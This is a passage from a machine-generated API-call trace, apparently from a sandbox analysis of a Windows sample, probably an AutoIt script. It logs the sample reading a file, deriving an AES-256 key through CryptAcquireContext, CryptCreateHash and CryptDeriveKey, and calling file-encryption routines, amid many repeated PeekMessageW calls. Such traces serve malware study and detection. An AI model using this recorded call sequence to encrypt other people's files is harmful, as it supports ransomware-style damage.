hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0030.061] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0030.061] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0030.061] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0030.062] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0030.062] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=12604) returned 1 [0030.062] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0030.062] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0030.062] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0030.062] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x313c, lpOverlapped=0x0) returned 1 [0030.063] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0030.063] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x313c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0030.063] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=12604) returned 1 [0030.063] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.063] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.063] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0030.063] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0030.063] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0030.063] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0030.063] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0030.063] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0030.063] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0030.063] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0030.063] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0030.063] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0030.063] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0030.063] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0030.063] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.063] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0030.064] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0030.064] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.064] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.064] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.064] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.064] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.064] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.064] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0030.064] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0030.064] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0030.064] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0030.064] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0030.064] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0030.064] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0030.064] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.064] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.064] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0030.064] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.064] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0030.064] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0030.064] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.064] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.064] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.064] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0030.064] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0030.065] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0030.065] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.065] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.065] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.065] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0030.065] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.065] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633e0) returned 1 [0030.065] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.065] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.065] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0030.065] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0030.065] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0030.065] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.065] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.065] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.065] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0030.065] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0030.065] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0030.065] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.065] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.065] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.066] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.066] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0030.066] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.066] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.066] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0030.066] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0030.066] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0030.066] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0030.066] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0030.066] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0030.066] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0030.066] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0030.066] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0030.066] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0030.066] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.066] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.066] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.066] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0030.066] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0030.066] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0030.066] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.066] CryptCreateHash (in: hProv=0xe8f40633e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0030.066] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.066] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.066] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.066] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.066] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0030.066] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.067] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.067] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.067] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0030.067] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.067] CryptHashData (hHash=0xe8f4062800, pbData=0xe8f418b7e0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0030.067] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.067] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.067] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.067] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.067] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0030.067] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0030.067] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0030.067] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.067] CryptDeriveKey (in: hProv=0xe8f40633e0, Algid=0x660e, hBaseData=0xe8f4062800, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062330) returned 1 [0030.067] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.067] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.067] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.067] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.067] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.067] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.067] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0030.067] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.067] CryptDestroyHash (hHash=0xe8f4062800) returned 1 [0030.067] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.067] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.067] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.067] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.067] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.068] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0030.068] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0030.068] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.068] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.068] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.068] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.068] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.068] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.068] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.069] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0030.069] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x362d, lpOverlapped=0x0) returned 1 [0030.070] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0030.071] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.071] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.071] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.072] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0030.072] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.072] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 